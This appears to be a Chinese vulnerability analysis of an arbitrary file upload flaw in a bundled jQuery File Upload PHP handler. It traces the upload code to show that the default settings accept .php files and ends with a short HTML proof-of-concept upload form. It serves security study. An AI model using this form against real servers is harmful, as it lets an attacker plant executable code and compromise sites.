起因
https://www.t00ls.net/viewthread.php?tid=56414
漏洞分析
入口 Public/Inner/Js/uploader/server/php/index.php
:
<?php
error_reporting(E_ALL | E_STRICT);
require('UploadHandler.php');
$upload_handler = new UploadHandler();
关键代码 Public/Inner/Js/uploader/server/php/UploadHandler.php
:
初始化操作:
<?php
class UploadHandler
{
protected $options;
protected $error_messages = array(
//忽略
);
protected $image_objects = array();
function __construct($options = null, $initialize = true, $error_messages = null) {
$this->options = array(
'script_url' => $this->get_full_url().'/',
'upload_dir' => dirname($this->get_server_var('SCRIPT_FILENAME')).'/files/',
'upload_url' => $this->get_full_url().'/files/',
'user_dirs' => false,
'mkdir_mode' => 0755,
'param_name' => 'files',
'delete_type' => 'DELETE',
'access_control_allow_origin' => '*',
'access_control_allow_credentials' => false,
'access_control_allow_methods' => array(
'OPTIONS',
'HEAD',
'GET',
'POST',
'PUT',
'PATCH',
'DELETE'
),
'access_control_allow_headers' => array(
'Content-Type',
'Content-Range',
'Content-Disposition'
),
'download_via_php' => false,
'readfile_chunk_size' => 10 * 1024 * 1024, // 10 MiB
'inline_file_types' => '/\.(gif|jpe?g|png)$/i',
'accept_file_types' => '/.+$/i',
'max_file_size' => null,
'min_file_size' => 1,
'max_number_of_files' => null,
'image_file_types' => '/\.(gif|jpe?g|png)$/i',
'correct_image_extensions' => false,
'max_width' => null,
'max_height' => null,
'min_width' => 1,
'min_height' => 1,
'discard_aborted_uploads' => true,
'image_library' => 1,
'convert_bin' => 'convert',
'identify_bin' => 'identify',
'image_versions' => array(
'' => array(
'auto_orient' => true
),
'thumbnail' => array(
'max_width' => 80,
'max_height' => 80
)
)
);
if ($options) {
$this->options = $options + $this->options; //初始化配置
}
if ($error_messages) {
$this->error_messages = $error_messages + $this->error_messages; // 初始化错误信息
}
if ($initialize) {
$this->initialize(); //初始化操作
}
}
protected function initialize() {
// 根据HTTP请求方法调用函数
switch ($this->get_server_var('REQUEST_METHOD')) {
case 'OPTIONS':
case 'HEAD':
$this->head();
break;
case 'GET':
$this->get();
break;
case 'PATCH':
case 'PUT':
case 'POST':
$this->post();
break;
case 'DELETE':
$this->delete();
break;
default:
$this->header('HTTP/1.1 405 Method Not Allowed');
}
}
跟进 post
函数:
public function post($print_response = true) {
/* 忽略 */
$upload = isset($_FILES[$this->options['param_name']]) ?
$_FILES[$this->options['param_name']] : null;
$file_name = $this->get_server_var('HTTP_CONTENT_DISPOSITION') ?
rawurldecode(preg_replace(
'/(^[^"]+")|("$)/',
'',
$this->get_server_var('HTTP_CONTENT_DISPOSITION')
)) : null;
$content_range = $this->get_server_var('HTTP_CONTENT_RANGE') ?
preg_split('/[^0-9]+/', $this->get_server_var('HTTP_CONTENT_RANGE')) : null;
$size = $content_range ? $content_range[3] : null;
$files = array();
/* 上传文件 */
if ($upload && is_array($upload['tmp_name'])) {
foreach ($upload['tmp_name'] as $index => $value) {
$files[] = $this->handle_file_upload(
$upload['tmp_name'][$index],
$file_name ? $file_name : $upload['name'][$index],
$size ? $size : $upload['size'][$index],
$upload['type'][$index],
$upload['error'][$index],
$index,
$content_range
);
}
} else {
$files[] = $this->handle_file_upload(
isset($upload['tmp_name']) ? $upload['tmp_name'] : null,
$file_name ? $file_name : (isset($upload['name']) ?
$upload['name'] : null),
$size ? $size : (isset($upload['size']) ?
$upload['size'] : $this->get_server_var('CONTENT_LENGTH')),
isset($upload['type']) ?
$upload['type'] : $this->get_server_var('CONTENT_TYPE'),
isset($upload['error']) ? $upload['error'] : null,
null,
$content_range
);
}
return $this->generate_response(
array($this->options['param_name'] => $files),
$print_response
);
}
跟进 handle_file_upload
函数:
protected function handle_file_upload($uploaded_file, $name, $size, $type, $error,
$index = null, $content_range = null) {
$file = new \stdClass();
$file->name = $this->get_file_name($uploaded_file, $name, $size, $type, $error,
$index, $content_range); // 获取文件名,可能存在过滤
$file->size = $this->fix_integer_overflow(intval($size));
$file->type = $type;
// 验证文件,可能存在过滤
if ($this->validate($uploaded_file, $file, $error, $index)) {
// 保存文件
$this->handle_form_data($file, $index);
$upload_dir = $this->get_upload_path();
if (!is_dir($upload_dir)) {
mkdir($upload_dir, $this->options['mkdir_mode'], true);
}
$file_path = $this->get_upload_path($file->name);
$append_file = $content_range && is_file($file_path) &&
$file->size > $this->get_file_size($file_path);
if ($uploaded_file && is_uploaded_file($uploaded_file)) {
if ($append_file) {
file_put_contents(
$file_path,
fopen($uploaded_file, 'r'),
FILE_APPEND
);
} else {
move_uploaded_file($uploaded_file, $file_path);
}
} else {
file_put_contents(
$file_path,
fopen('php://input', 'r'),
$append_file ? FILE_APPEND : 0
);
}
$file_size = $this->get_file_size($file_path, $append_file);
if ($file_size === $file->size) {
$file->url = $this->get_download_url($file->name);
if ($this->is_valid_image_file($file_path)) {
$this->handle_image_file($file_path, $file);
}
} else {
$file->size = $file_size;
if (!$content_range && $this->options['discard_aborted_uploads']) {
unlink($file_path);
$file->error = $this->get_error_message('abort');
}
}
$this->set_additional_file_properties($file);
}
return $file;
}
第一个过滤点:
跟进 get_file_name
函数:
protected function get_file_name($file_path, $name, $size, $type, $error,
$index, $content_range) {
$name = $this->trim_file_name($file_path, $name, $size, $type, $error,
$index, $content_range);
return $this->get_unique_filename(
$file_path,
$this->fix_file_extension($file_path, $name, $size, $type, $error,
$index, $content_range), // 修复文件后缀,跟进函数进行分析
$size,
$type,
$error,
$index,
$content_range
);
}
跟进 fix_file_extension
函数:
protected function fix_file_extension($file_path, $name, $size, $type, $error,
$index, $content_range) {
// $name = x.php
// 使用 strpos 搜索$name是否存在 (.),并匹配 Content-Type 是否为图片类型。
// x.php 存在 (.),不符合执行条件,跳过。
if (strpos($name, '.') === false &&
preg_match('/^image\/(gif|jpe?g|png)/', $type, $matches)) {
$name .= '.'.$matches[1];
}
// $this->options['correct_image_extensions'] 默认为false,不符合执行条件,跳过。
if ($this->options['correct_image_extensions'] &&
function_exists('exif_imagetype')) {
switch(@exif_imagetype($file_path)){
case IMAGETYPE_JPEG:
$extensions = array('jpg', 'jpeg');
break;
case IMAGETYPE_PNG:
$extensions = array('png');
break;
case IMAGETYPE_GIF:
$extensions = array('gif');
break;
}
if (!empty($extensions)) {
$parts = explode('.', $name);
$extIndex = count($parts) - 1;
$ext = strtolower(@$parts[$extIndex]);
if (!in_array($ext, $extensions)) {
$parts[$extIndex] = $extensions[0];
$name = implode('.', $parts);
}
}
}
return $name; // 返回 x.php
}
第二个过滤点:
跟进 validate
函数:
protected function validate($uploaded_file, $file, $error, $index) {
// 忽略
// 使用正则表达式匹配文件名是否合法
// 默认配置: 'accept_file_types' => '/.+$/i' ,允许任意后缀,不符合执行条件,跳过。
if (!preg_match($this->options['accept_file_types'], $file->name)) {
$file->error = $this->get_error_message('accept_file_types');
return false;
}
// 忽略
利用代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form enctype="multipart/form-data" action="http://127.0.0.1/Public/Inner/Js/uploader/server/php/index.php" method="post">
<input type="file" name="files"/>
<input type="submit" value="上传"/>
</form>
</body>
</html>